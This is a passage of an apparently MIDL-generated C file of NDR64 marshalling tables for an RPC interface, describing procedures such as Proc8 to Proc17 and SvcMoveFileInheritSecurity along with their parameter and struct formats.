2186 | (NDR64_UINT16) 0 /* 0x0 */,
2187 | 16 /* 0x10 */, /* Stack offset */
2188 | },
2189 | {
2190 | /* long */ /* parameter long */
2191 | &__midl_frag113,
2192 | {
2193 | /* long */
2194 | 0,
2195 | 0,
2196 | 0,
2197 | 0,
2198 | 1,
2199 | 1,
2200 | 1,
2201 | 1,
2202 | 0,
2203 | 0,
2204 | 0,
2205 | 0,
2206 | 0,
2207 | (NDR64_UINT16) 0 /* 0x0 */,
2208 | 0
2209 | }, /* [out], IsReturn, Basetype, ByValue */
2210 | (NDR64_UINT16) 0 /* 0x0 */,
2211 | 24 /* 0x18 */, /* Stack offset */
2212 | }
2213 | };
2214 |
2215 | static const __midl_frag88_t __midl_frag88 =
2216 | {
2217 | /* Proc17 */
2218 | {
2219 | /* Proc17 */ /* procedure Proc17 */
2220 | (NDR64_UINT32) 17301568 /* 0x1080040 */, /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */
2221 | (NDR64_UINT32) 32 /* 0x20 */ , /* Stack size */
2222 | (NDR64_UINT32) 14 /* 0xe */,
2223 | (NDR64_UINT32) 8 /* 0x8 */,
2224 | (NDR64_UINT16) 0 /* 0x0 */,
2225 | (NDR64_UINT16) 0 /* 0x0 */,
2226 | (NDR64_UINT16) 3 /* 0x3 */,
2227 | (NDR64_UINT16) 8 /* 0x8 */
2228 | },
2229 | {
2230 | /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */
2231 | {
2232 | /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */
2233 | 0x72, /* FC64_BIND_PRIMITIVE */
2234 | (NDR64_UINT8) 0 /* 0x0 */,
2235 | 0 /* 0x0 */, /* Stack offset */
2236 | (NDR64_UINT8) 0 /* 0x0 */,
2237 | (NDR64_UINT8) 0 /* 0x0 */
2238 | },
2239 | (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */
2240 | },
2241 | {
2242 | /* arg_1 */ /* parameter arg_1 */
2243 | &__midl_frag105,
2244 | {
2245 | /* arg_1 */
2246 | 0,
2247 | 0,
2248 | 0,
2249 | 1,
2250 | 0,
2251 | 0,
2252 | 1,
2253 | 1,
2254 | 0,
2255 | 0,
2256 | 0,
2257 | 0,
2258 | 0,
2259 | (NDR64_UINT16) 0 /* 0x0 */,
2260 | 0
2261 | }, /* [in], Basetype, ByValue */
2262 | (NDR64_UINT16) 0 /* 0x0 */,
2263 | 8 /* 0x8 */, /* Stack offset */
2264 | },
2265 | {
2266 | /* arg_2 */ /* parameter arg_2 */
2267 | &__midl_frag113,
2268 | {
2269 | /* arg_2 */
2270 | 0,
2271 | 0,
2272 | 0,
2273 | 1,
2274 | 0,
2275 | 0,
2276 | 1,
2277 | 1,
2278 | 0,
2279 | 0,
2280 | 0,
2281 | 0,
2282 | 0,
2283 | (NDR64_UINT16) 0 /* 0x0 */,
2284 | 0
2285 | }, /* [in], Basetype, ByValue */
2286 | (NDR64_UINT16) 0 /* 0x0 */,
2287 | 16 /* 0x10 */, /* Stack offset */
2288 | },
2289 | {
2290 | /* long */ /* parameter long */
2291 | &__midl_frag113,
2292 | {
2293 | /* long */
2294 | 0,
2295 | 0,
2296 | 0,
2297 | 0,
2298 | 1,
2299 | 1,
2300 | 1,
2301 | 1,
2302 | 0,
2303 | 0,
2304 | 0,
2305 | 0,
2306 | 0,
2307 | (NDR64_UINT16) 0 /* 0x0 */,
2308 | 0
2309 | }, /* [out], IsReturn, Basetype, ByValue */
2310 | (NDR64_UINT16) 0 /* 0x0 */,
2311 | 24 /* 0x18 */, /* Stack offset */
2312 | }
2313 | };
2314 |
2315 | static const __midl_frag86_t __midl_frag86 =
2316 | {
2317 | /* Proc16 */
2318 | {
2319 | /* Proc16 */ /* procedure Proc16 */
2320 | (NDR64_UINT32) 17301568 /* 0x1080040 */, /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */
2321 | (NDR64_UINT32) 16 /* 0x10 */ , /* Stack size */
2322 | (NDR64_UINT32) 0 /* 0x0 */,
2323 | (NDR64_UINT32) 8 /* 0x8 */,
2324 | (NDR64_UINT16) 0 /* 0x0 */,
2325 | (NDR64_UINT16) 0 /* 0x0 */,
2326 | (NDR64_UINT16) 1 /* 0x1 */,
2327 | (NDR64_UINT16) 8 /* 0x8 */
2328 | },
2329 | {
2330 | /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */
2331 | {
2332 | /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */
2333 | 0x72, /* FC64_BIND_PRIMITIVE */
2334 | (NDR64_UINT8) 0 /* 0x0 */,
2335 | 0 /* 0x0 */, /* Stack offset */
2336 | (NDR64_UINT8) 0 /* 0x0 */,
2337 | (NDR64_UINT8) 0 /* 0x0 */
2338 | },
2339 | (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */
2340 | },
2341 | {
2342 | /* long */ /* parameter long */
2343 | &__midl_frag113,
2344 | {
2345 | /* long */
2346 | 0,
2347 | 0,
2348 | 0,
2349 | 0,
2350 | 1,
2351 | 1,
2352 | 1,
2353 | 1,
2354 | 0,
2355 | 0,
2356 | 0,
2357 | 0,
2358 | 0,
2359 | (NDR64_UINT16) 0 /* 0x0 */,
2360 | 0
2361 | }, /* [out], IsReturn, Basetype, ByValue */
2362 | (NDR64_UINT16) 0 /* 0x0 */,
2363 | 8 /* 0x8 */, /* Stack offset */
2364 | }
2365 | };
2366 |
2367 | static const __midl_frag84_t __midl_frag84 =
2368 | {
2369 | /* Struct_112_t */
2370 | {
2371 | /* Struct_112_t */
2372 | 0x30, /* FC64_STRUCT */
2373 | (NDR64_UINT8) 3 /* 0x3 */,
2374 | {
2375 | /* Struct_112_t */
2376 | 0,
2377 | 0,
2378 | 0,
2379 | 0,
2380 | 0,
2381 | 0,
2382 | 0,
2383 | 0
2384 | },
2385 | (NDR64_UINT8) 0 /* 0x0 */,
2386 | (NDR64_UINT32) 16 /* 0x10 */
2387 | }
2388 | };
2389 |
2390 | static const __midl_frag83_t __midl_frag83 =
2391 | {
2392 | /* *Struct_112_t */
2393 | 0x20, /* FC64_RP */
2394 | (NDR64_UINT8) 0 /* 0x0 */,
2395 | (NDR64_UINT16) 0 /* 0x0 */,
2396 | &__midl_frag84
2397 | };
2398 |
2399 | static const __midl_frag80_t __midl_frag80 =
2400 | {
2401 | /* Proc15 */
2402 | {
2403 | /* Proc15 */ /* procedure Proc15 */
2404 | (NDR64_UINT32) 17301568 /* 0x1080040 */, /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */
2405 | (NDR64_UINT32) 40 /* 0x28 */ , /* Stack size */
2406 | (NDR64_UINT32) 70 /* 0x46 */,
2407 | (NDR64_UINT32) 64 /* 0x40 */,
2408 | (NDR64_UINT16) 0 /* 0x0 */,
2409 | (NDR64_UINT16) 0 /* 0x0 */,
2410 | (NDR64_UINT16) 4 /* 0x4 */,
2411 | (NDR64_UINT16) 8 /* 0x8 */
2412 | },
2413 | {
2414 | /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */
2415 | {
2416 | /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */
2417 | 0x72, /* FC64_BIND_PRIMITIVE */
2418 | (NDR64_UINT8) 0 /* 0x0 */,
2419 | 0 /* 0x0 */, /* Stack offset */
2420 | (NDR64_UINT8) 0 /* 0x0 */,
2421 | (NDR64_UINT8) 0 /* 0x0 */
2422 | },
2423 | (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */
2424 | },
2425 | {
2426 | /* arg_1 */ /* parameter arg_1 */
2427 | &__midl_frag105,
2428 | {
2429 | /* arg_1 */
2430 | 0,
2431 | 0,
2432 | 0,
2433 | 1,
2434 | 0,
2435 | 0,
2436 | 1,
2437 | 1,
2438 | 0,
2439 | 0,
2440 | 0,
2441 | 0,
2442 | 0,
2443 | (NDR64_UINT16) 0 /* 0x0 */,
2444 | 0
2445 | }, /* [in], Basetype, ByValue */
2446 | (NDR64_UINT16) 0 /* 0x0 */,
2447 | 8 /* 0x8 */, /* Stack offset */
2448 | },
2449 | {
2450 | /* arg_2 */ /* parameter arg_2 */
2451 | &__midl_frag113,
2452 | {
2453 | /* arg_2 */
2454 | 0,
2455 | 0,
2456 | 0,
2457 | 1,
2458 | 0,
2459 | 0,
2460 | 1,
2461 | 1,
2462 | 0,
2463 | 0,
2464 | 0,
2465 | 0,
2466 | 0,
2467 | (NDR64_UINT16) 0 /* 0x0 */,
2468 | 0
2469 | }, /* [in], Basetype, ByValue */
2470 | (NDR64_UINT16) 0 /* 0x0 */,
2471 | 16 /* 0x10 */, /* Stack offset */
2472 | },
2473 | {
2474 | /* arg_3 */ /* parameter arg_3 */
2475 | &__midl_frag84,
2476 | {
2477 | /* arg_3 */
2478 | 0,
2479 | 1,
2480 | 0,
2481 | 1,
2482 | 1,
2483 | 0,
2484 | 0,
2485 | 0,
2486 | 1,
2487 | 0,
2488 | 0,
2489 | 0,
2490 | 0,
2491 | (NDR64_UINT16) 0 /* 0x0 */,
2492 | 0
2493 | }, /* MustFree, [in], [out], SimpleRef */
2494 | (NDR64_UINT16) 0 /* 0x0 */,
2495 | 24 /* 0x18 */, /* Stack offset */
2496 | },
2497 | {
2498 | /* long */ /* parameter long */
2499 | &__midl_frag113,
2500 | {
2501 | /* long */
2502 | 0,
2503 | 0,
2504 | 0,
2505 | 0,
2506 | 1,
2507 | 1,
2508 | 1,
2509 | 1,
2510 | 0,
2511 | 0,
2512 | 0,
2513 | 0,
2514 | 0,
2515 | (NDR64_UINT16) 0 /* 0x0 */,
2516 | 0
2517 | }, /* [out], IsReturn, Basetype, ByValue */
2518 | (NDR64_UINT16) 0 /* 0x0 */,
2519 | 32 /* 0x20 */, /* Stack offset */
2520 | }
2521 | };
2522 |
2523 | static const __midl_frag79_t __midl_frag79 =
2524 | 0x7 /* FC64_INT64 */;
2525 |
2526 | static const __midl_frag76_t __midl_frag76 =
2527 | {
2528 | /* *wchar_t */
2529 | 0x20, /* FC64_RP */
2530 | (NDR64_UINT8) 0 /* 0x0 */,
2531 | (NDR64_UINT16) 0 /* 0x0 */,
2532 | &__midl_frag107
2533 | };
2534 |
2535 | static const __midl_frag73_t __midl_frag73 =
2536 | {
2537 | /* SvcMoveFileInheritSecurity */
2538 | {
2539 | /* SvcMoveFileInheritSecurity */ /* procedure SvcMoveFileInheritSecurity */
2540 | (NDR64_UINT32) 17563712 /* 0x10c0040 */, /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, HasExtensions */
2541 | (NDR64_UINT32) 40 /* 0x28 */ , /* Stack size */
2542 | (NDR64_UINT32) 8 /* 0x8 */,
2543 | (NDR64_UINT32) 16 /* 0x10 */,
2544 | (NDR64_UINT16) 0 /* 0x0 */,
2545 | (NDR64_UINT16) 0 /* 0x0 */,
2546 | (NDR64_UINT16) 4 /* 0x4 */,
2547 | (NDR64_UINT16) 8 /* 0x8 */
2548 | },
2549 | {
2550 | /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */
2551 | {
2552 | /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */
2553 | 0x72, /* FC64_BIND_PRIMITIVE */
2554 | (NDR64_UINT8) 0 /* 0x0 */,
2555 | 0 /* 0x0 */, /* Stack offset */
2556 | (NDR64_UINT8) 0 /* 0x0 */,
2557 | (NDR64_UINT8) 0 /* 0x0 */
2558 | },
2559 | (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */
2560 | },
2561 | {
2562 | /* src */ /* parameter src */
2563 | &__midl_frag107,
2564 | {
2565 | /* src */
2566 | 1,
2567 | 1,
2568 | 0,
2569 | 1,
2570 | 0,
2571 | 0,
2572 | 0,
2573 | 0,
2574 | 1,
2575 | 0,
2576 | 0,
2577 | 0,
2578 | 0,
2579 | (NDR64_UINT16) 0 /* 0x0 */,
2580 | 0
2581 | }, /* MustSize, MustFree, [in], SimpleRef */
2582 | (NDR64_UINT16) 0 /* 0x0 */,
2583 | 8 /* 0x8 */, /* Stack offset */
2584 | },
2585 | {
2586 | /* dest */ /* parameter dest */
2587 | &__midl_frag107,
2588 | {
2589 | /* dest */
2590 | 1,
2591 | 1,
2592 | 0,
2593 | 1,
2594 | 0,
2595 | 0,
2596 | 0,
2597 | 0,
2598 | 1,
2599 | 0,
2600 | 0,
2601 | 0,
2602 | 0,
2603 | (NDR64_UINT16) 0 /* 0x0 */,
2604 | 0
2605 | }, /* MustSize, MustFree, [in], SimpleRef */
2606 | (NDR64_UINT16) 0 /* 0x0 */,
2607 | 16 /* 0x10 */, /* Stack offset */
2608 | },
2609 | {
2610 | /* flags */ /* parameter flags */
2611 | &__midl_frag113,
2612 | {
2613 | /* flags */
2614 | 0,
2615 | 0,
2616 | 0,
2617 | 1,
2618 | 0,
2619 | 0,
2620 | 1,
2621 | 1,
2622 | 0,
2623 | 0,
2624 | 0,
2625 | 0,
2626 | 0,
2627 | (NDR64_UINT16) 0 /* 0x0 */,
2628 | 0
2629 | }, /* [in], Basetype, ByValue */
2630 | (NDR64_UINT16) 0 /* 0x0 */,
2631 | 24 /* 0x18 */, /* Stack offset */
2632 | },
2633 | {
2634 | /* __int3264 */ /* parameter __int3264 */
2635 | &__midl_frag79,
2636 | {
2637 | /* __int3264 */
2638 | 0,
2639 | 0,
2640 | 0,
2641 | 0,
2642 | 1,
2643 | 1,
2644 | 1,
2645 | 1,
2646 | 0,
2647 | 0,
2648 | 0,
2649 | 0,
2650 | 0,
2651 | (NDR64_UINT16) 0 /* 0x0 */,
2652 | 0
2653 | }, /* [out], IsReturn, Basetype, ByValue */
2654 | (NDR64_UINT16) 0 /* 0x0 */,
2655 | 32 /* 0x20 */, /* Stack offset */
2656 | }
2657 | };
2658 |
2659 | static const __midl_frag67_t __midl_frag67 =
2660 | {
2661 | /* Struct_90_t */
2662 | {
2663 | /* Struct_90_t */
2664 | 0x35, /* FC64_FORCED_BOGUS_STRUCT */
2665 | (NDR64_UINT8) 3 /* 0x3 */,
2666 | {
2667 | /* Struct_90_t */
2668 | 0,
2669 | 1,
2670 | 0,
2671 | 0,
2672 | 0,
2673 | 0,
2674 | 0,
2675 | 0
2676 | },
2677 | (NDR64_UINT8) 0 /* 0x0 */,
2678 | (NDR64_UINT32) 16 /* 0x10 */,
2679 | 0,
2680 | 0,
2681 | 0,
2682 | },
2683 | {
2684 | /* */
2685 | {
2686 | /* struct _NDR64_SIMPLE_MEMBER_FORMAT */
2687 | 0x5, /* FC64_INT32 */
2688 | (NDR64_UINT8) 0 /* 0x0 */,
2689 | (NDR64_UINT16) 0 /* 0x0 */,
2690 | (NDR64_UINT32) 0 /* 0x0 */
2691 | },
2692 | {
2693 | /* struct _NDR64_SIMPLE_MEMBER_FORMAT */
2694 | 0x4, /* FC64_INT16 */
2695 | (NDR64_UINT8) 0 /* 0x0 */,
2696 | (NDR64_UINT16) 0 /* 0x0 */,
2697 | (NDR64_UINT32) 0 /* 0x0 */
2698 | },
2699 | {
2700 | /* struct _NDR64_MEMPAD_FORMAT */
2701 | 0x90, /* FC64_STRUCTPADN */
2702 | (NDR64_UINT8) 0 /* 0x0 */,
2703 | (NDR64_UINT16) 2 /* 0x2 */,
2704 | (NDR64_UINT32) 0 /* 0x0 */
2705 | },
2706 | {
2707 | /* struct _NDR64_SIMPLE_MEMBER_FORMAT */
2708 | 0x5, /* FC64_INT32 */
2709 | (NDR64_UINT8) 0 /* 0x0 */,
2710 | (NDR64_UINT16) 0 /* 0x0 */,
2711 | (NDR64_UINT32) 0 /* 0x0 */
2712 | },
2713 | {
2714 | /* struct _NDR64_SIMPLE_MEMBER_FORMAT */
2715 | 0x4, /* FC64_INT16 */
2716 | (NDR64_UINT8) 0 /* 0x0 */,
2717 | (NDR64_UINT16) 0 /* 0x0 */,
2718 | (NDR64_UINT32) 0 /* 0x0 */
2719 | },
2720 | {
2721 | /* struct _NDR64_SIMPLE_MEMBER_FORMAT */
2722 | 0x4, /* FC64_INT16 */
2723 | (NDR64_UINT8) 0 /* 0x0 */,
2724 | (NDR64_UINT16) 0 /* 0x0 */,
2725 | (NDR64_UINT32) 0 /* 0x0 */
2726 | },
2727 | {
2728 | /* struct _NDR64_SIMPLE_MEMBER_FORMAT */
2729 | 0x93, /* FC64_END */
2730 | (NDR64_UINT8) 0 /* 0x0 */,
2731 | (NDR64_UINT16) 0 /* 0x0 */,
2732 | (NDR64_UINT32) 0 /* 0x0 */
2733 | }
2734 | }
2735 | };
2736 |
2737 | static const __midl_frag66_t __midl_frag66 =
2738 | {
2739 | /* *Struct_90_t */
2740 | 0x20, /* FC64_RP */
2741 | (NDR64_UINT8) 0 /* 0x0 */,
2742 | (NDR64_UINT16) 0 /* 0x0 */,
2743 | &__midl_frag67
2744 | };
2745 |
2746 | static const __midl_frag65_t __midl_frag65 =
2747 | {
2748 | /* Proc12 */
2749 | {
2750 | /* Proc12 */ /* procedure Proc12 */
2751 | (NDR64_UINT32) 17563712 /* 0x10c0040 */, /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, HasExtensions */
2752 | (NDR64_UINT32) 24 /* 0x18 */ , /* Stack size */
2753 | (NDR64_UINT32) 0 /* 0x0 */,
2754 | (NDR64_UINT32) 8 /* 0x8 */,
2755 | (NDR64_UINT16) 0 /* 0x0 */,
2756 | (NDR64_UINT16) 0 /* 0x0 */,
2757 | (NDR64_UINT16) 2 /* 0x2 */,
2758 | (NDR64_UINT16) 8 /* 0x8 */
2759 | },
2760 | {
2761 | /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */
2762 | {
2763 | /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */
2764 | 0x72, /* FC64_BIND_PRIMITIVE */
2765 | (NDR64_UINT8) 0 /* 0x0 */,
2766 | 0 /* 0x0 */, /* Stack offset */
2767 | (NDR64_UINT8) 0 /* 0x0 */,
2768 | (NDR64_UINT8) 0 /* 0x0 */
2769 | },
2770 | (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */
2771 | },
2772 | {
2773 | /* arg_1 */ /* parameter arg_1 */
2774 | &__midl_frag67,
2775 | {
2776 | /* arg_1 */
2777 | 1,
2778 | 1,
2779 | 0,
2780 | 1,
2781 | 0,
2782 | 0,
2783 | 0,
2784 | 0,
2785 | 1,
2786 | 0,
2787 | 0,
2788 | 0,
2789 | 0,
2790 | (NDR64_UINT16) 0 /* 0x0 */,
2791 | 0
2792 | }, /* MustSize, MustFree, [in], SimpleRef */
2793 | (NDR64_UINT16) 0 /* 0x0 */,
2794 | 8 /* 0x8 */, /* Stack offset */
2795 | },
2796 | {
2797 | /* long */ /* parameter long */
2798 | &__midl_frag113,
2799 | {
2800 | /* long */
2801 | 0,
2802 | 0,
2803 | 0,
2804 | 0,
2805 | 1,
2806 | 1,
2807 | 1,
2808 | 1,
2809 | 0,
2810 | 0,
2811 | 0,
2812 | 0,
2813 | 0,
2814 | (NDR64_UINT16) 0 /* 0x0 */,
2815 | 0
2816 | }, /* [out], IsReturn, Basetype, ByValue */
2817 | (NDR64_UINT16) 0 /* 0x0 */,
2818 | 16 /* 0x10 */, /* Stack offset */
2819 | }
2820 | };
2821 |
2822 | static const __midl_frag59_t __midl_frag59 =
2823 | {
2824 | /* Proc11 */
2825 | {
2826 | /* Proc11 */ /* procedure Proc11 */
2827 | (NDR64_UINT32) 17301568 /* 0x1080040 */, /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */
2828 | (NDR64_UINT32) 48 /* 0x30 */ , /* Stack size */
2829 | (NDR64_UINT32) 28 /* 0x1c */,
2830 | (NDR64_UINT32) 8 /* 0x8 */,
2831 | (NDR64_UINT16) 0 /* 0x0 */,
2832 | (NDR64_UINT16) 0 /* 0x0 */,
2833 | (NDR64_UINT16) 5 /* 0x5 */,
2834 | (NDR64_UINT16) 8 /* 0x8 */
2835 | },
2836 | {
2837 | /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */
2838 | {
2839 | /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */
2840 | 0x72, /* FC64_BIND_PRIMITIVE */
2841 | (NDR64_UINT8) 0 /* 0x0 */,
2842 | 0 /* 0x0 */, /* Stack offset */
2843 | (NDR64_UINT8) 0 /* 0x0 */,
2844 | (NDR64_UINT8) 0 /* 0x0 */
2845 | },
2846 | (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */
2847 | },
2848 | {
2849 | /* arg_1 */ /* parameter arg_1 */
2850 | &__midl_frag105,
2851 | {
2852 | /* arg_1 */
2853 | 0,
2854 | 0,
2855 | 0,
2856 | 1,
2857 | 0,
2858 | 0,
2859 | 1,
2860 | 1,
2861 | 0,
2862 | 0,
2863 | 0,
2864 | 0,
2865 | 0,
2866 | (NDR64_UINT16) 0 /* 0x0 */,
2867 | 0
2868 | }, /* [in], Basetype, ByValue */
2869 | (NDR64_UINT16) 0 /* 0x0 */,
2870 | 8 /* 0x8 */, /* Stack offset */
2871 | },
2872 | {
2873 | /* arg_2 */ /* parameter arg_2 */
2874 | &__midl_frag113,
2875 | {
2876 | /* arg_2 */
2877 | 0,
2878 | 0,
2879 | 0,
2880 | 1,
2881 | 0,
2882 | 0,
2883 | 1,
2884 | 1,
2885 | 0,
2886 | 0,
2887 | 0,
2888 | 0,
2889 | 0,
2890 | (NDR64_UINT16) 0 /* 0x0 */,
2891 | 0
2892 | }, /* [in], Basetype, ByValue */
2893 | (NDR64_UINT16) 0 /* 0x0 */,
2894 | 16 /* 0x10 */, /* Stack offset */
2895 | },
2896 | {
2897 | /* arg_3 */ /* parameter arg_3 */
2898 | &__midl_frag105,
2899 | {
2900 | /* arg_3 */
2901 | 0,
2902 | 0,
2903 | 0,
2904 | 1,
2905 | 0,
2906 | 0,
2907 | 1,
2908 | 1,
2909 | 0,
2910 | 0,
2911 | 0,
2912 | 0,
2913 | 0,
2914 | (NDR64_UINT16) 0 /* 0x0 */,
2915 | 0
2916 | }, /* [in], Basetype, ByValue */
2917 | (NDR64_UINT16) 0 /* 0x0 */,
2918 | 24 /* 0x18 */, /* Stack offset */
2919 | },
2920 | {
2921 | /* arg_4 */ /* parameter arg_4 */
2922 | &__midl_frag113,
2923 | {
2924 | /* arg_4 */
2925 | 0,
2926 | 0,
2927 | 0,
2928 | 1,
2929 | 0,
2930 | 0,
2931 | 1,
2932 | 1,
2933 | 0,
2934 | 0,
2935 | 0,
2936 | 0,
2937 | 0,
2938 | (NDR64_UINT16) 0 /* 0x0 */,
2939 | 0
2940 | }, /* [in], Basetype, ByValue */
2941 | (NDR64_UINT16) 0 /* 0x0 */,
2942 | 32 /* 0x20 */, /* Stack offset */
2943 | },
2944 | {
2945 | /* long */ /* parameter long */
2946 | &__midl_frag113,
2947 | {
2948 | /* long */
2949 | 0,
2950 | 0,
2951 | 0,
2952 | 0,
2953 | 1,
2954 | 1,
2955 | 1,
2956 | 1,
2957 | 0,
2958 | 0,
2959 | 0,
2960 | 0,
2961 | 0,
2962 | (NDR64_UINT16) 0 /* 0x0 */,
2963 | 0
2964 | }, /* [out], IsReturn, Basetype, ByValue */
2965 | (NDR64_UINT16) 0 /* 0x0 */,
2966 | 40 /* 0x28 */, /* Stack offset */
2967 | }
2968 | };
2969 |
2970 | static const __midl_frag52_t __midl_frag52 =
2971 | {
2972 | /* Proc10 */
2973 | {
2974 | /* Proc10 */ /* procedure Proc10 */
2975 | (NDR64_UINT32) 17301568 /* 0x1080040 */, /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */
2976 | (NDR64_UINT32) 48 /* 0x30 */ , /* Stack size */
2977 | (NDR64_UINT32) 20 /* 0x14 */,
2978 | (NDR64_UINT32) 40 /* 0x28 */,
2979 | (NDR64_UINT16) 0 /* 0x0 */,
2980 | (NDR64_UINT16) 0 /* 0x0 */,
2981 | (NDR64_UINT16) 5 /* 0x5 */,
2982 | (NDR64_UINT16) 8 /* 0x8 */
2983 | },
2984 | {
2985 | /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */
2986 | {
2987 | /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */
2988 | 0x72, /* FC64_BIND_PRIMITIVE */
2989 | (NDR64_UINT8) 0 /* 0x0 */,
2990 | 0 /* 0x0 */, /* Stack offset */
2991 | (NDR64_UINT8) 0 /* 0x0 */,
2992 | (NDR64_UINT8) 0 /* 0x0 */
2993 | },
2994 | (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */
2995 | },
2996 | {
2997 | /* arg_1 */ /* parameter arg_1 */
2998 | &__midl_frag105,
2999 | {
3000 | /* arg_1 */
3001 | 0,
3002 | 0,
3003 | 0,
3004 | 1,
3005 | 0,
3006 | 0,
3007 | 1,
3008 | 1,
3009 | 0,
3010 | 0,
3011 | 0,
3012 | 0,
3013 | 0,
3014 | (NDR64_UINT16) 0 /* 0x0 */,
3015 | 0
3016 | }, /* [in], Basetype, ByValue */
3017 | (NDR64_UINT16) 0 /* 0x0 */,
3018 | 8 /* 0x8 */, /* Stack offset */
3019 | },
3020 | {
3021 | /* arg_2 */ /* parameter arg_2 */
3022 | &__midl_frag113,
3023 | {
3024 | /* arg_2 */
3025 | 0,
3026 | 0,
3027 | 0,
3028 | 1,
3029 | 0,
3030 | 0,
3031 | 1,
3032 | 1,
3033 | 0,
3034 | 0,
3035 | 0,
3036 | 0,
3037 | 0,
3038 | (NDR64_UINT16) 0 /* 0x0 */,
3039 | 0
3040 | }, /* [in], Basetype, ByValue */
3041 | (NDR64_UINT16) 0 /* 0x0 */,
3042 | 16 /* 0x10 */, /* Stack offset */
3043 | },
3044 | {
3045 | /* arg_3 */ /* parameter arg_3 */
3046 | &__midl_frag105,
3047 | {
3048 | /* arg_3 */
3049 | 0,
3050 | 0,
3051 | 0,
3052 | 1,
3053 | 0,
3054 | 0,
3055 | 1,
3056 | 1,
3057 | 0,
3058 | 0,
3059 | 0,
3060 | 0,
3061 | 0,
3062 | (NDR64_UINT16) 0 /* 0x0 */,
3063 | 0
3064 | }, /* [in], Basetype, ByValue */
3065 | (NDR64_UINT16) 0 /* 0x0 */,
3066 | 24 /* 0x18 */, /* Stack offset */
3067 | },
3068 | {
3069 | /* arg_4 */ /* parameter arg_4 */
3070 | &__midl_frag113,
3071 | {
3072 | /* arg_4 */
3073 | 0,
3074 | 0,
3075 | 0,
3076 | 0,
3077 | 1,
3078 | 0,
3079 | 1,
3080 | 0,
3081 | 1,
3082 | 0,
3083 | 0,
3084 | 0,
3085 | 0,
3086 | (NDR64_UINT16) 0 /* 0x0 */,
3087 | 1
3088 | }, /* [out], Basetype, SimpleRef, UseCache */
3089 | (NDR64_UINT16) 0 /* 0x0 */,
3090 | 32 /* 0x20 */, /* Stack offset */
3091 | },
3092 | {
3093 | /* long */ /* parameter long */
3094 | &__midl_frag113,
3095 | {
3096 | /* long */
3097 | 0,
3098 | 0,
3099 | 0,
3100 | 0,
3101 | 1,
3102 | 1,
3103 | 1,
3104 | 1,
3105 | 0,
3106 | 0,
3107 | 0,
3108 | 0,
3109 | 0,
3110 | (NDR64_UINT16) 0 /* 0x0 */,
3111 | 0
3112 | }, /* [out], IsReturn, Basetype, ByValue */
3113 | (NDR64_UINT16) 0 /* 0x0 */,
3114 | 40 /* 0x28 */, /* Stack offset */
3115 | }
3116 | };
3117 |
3118 | static const __midl_frag44_t __midl_frag44 =
3119 | {
3120 | /* Proc8 */
3121 | {
3122 | /* Proc8 */ /* procedure Proc8 */
3123 | (NDR64_UINT32) 17301568 /* 0x1080040 */, /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */
3124 | (NDR64_UINT32) 32 /* 0x20 */ , /* Stack size */
3125 | (NDR64_UINT32) 16 /* 0x10 */,
3126 | (NDR64_UINT32) 8 /* 0x8 */,
3127 | (NDR64_UINT16) 0 /* 0x0 */,
3128 | (NDR64_UINT16) 0 /* 0x0 */,
3129 | (NDR64_UINT16) 3 /* 0x3 */,
3130 | (NDR64_UINT16) 8 /* 0x8 */
3131 | },
3132 | {
3133 | /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */
3134 | {
3135 | /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */
3136 | 0x72, /* FC64_BIND_PRIMITIVE */
3137 | (NDR64_UINT8) 0 /* 0x0 */,
3138 | 0 /* 0x0 */, /* Stack offset */
3139 | (NDR64_UINT8) 0 /* 0x0 */,
3140 | (NDR64_UINT8) 0 /* 0x0 */
3141 | },
3142 | (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */
3143 | },
3144 | {
3145 | /* arg_1 */ /* parameter arg_1 */
3146 | &__midl_frag113,
3147 | {
3148 | /* arg_1 */
3149 | 0,
3150 | 0,
3151 | 0,
3152 | 1,
3153 | 0,
3154 | 0,
3155 | 1,
3156 | 1,
3157 | 0,
3158 | 0,
3159 | 0,
3160 | 0,
3161 | 0,
3162 | (NDR64_UINT16) 0 /* 0x0 */,
3163 | 0
3164 | }, /* [in], Basetype, ByValue */
3165 | (NDR64_UINT16) 0 /* 0x0 */,
3166 | 8 /* 0x8 */, /* Stack offset */
3167 | },
3168 | {
3169 | /* arg_2 */ /* parameter arg_2 */
3170 | &__midl_frag113,
3171 | {
3172 | /* arg_2 */
3173 | 0,
3174 | 0,
3175 | 0,
3176 | 1,
3177 | 0,
3178 | 0,
3179 | 1,
3180 | 1,
3181 | 0,
3182 | 0,
3183 | 0,
3184 | 0,
3185 | 0,
3186 | (NDR64_UINT16) 0 /* 0x0 */,
3187 | 0
3188 | }, /* [in], Basetype, ByValue */
3189 | (NDR64_UINT16) 0 /* 0x0 */,
3190 | 16 /* 0x10 */, /* Stack offset */
3191 | },
3192 | {
3193 | /* long */ /* parameter long */
3194 | &__midl_frag113,
3195 | {
3196 | /* long */
3197 | 0,
3198 | 0,
3199 | 0,
3200 | 0,
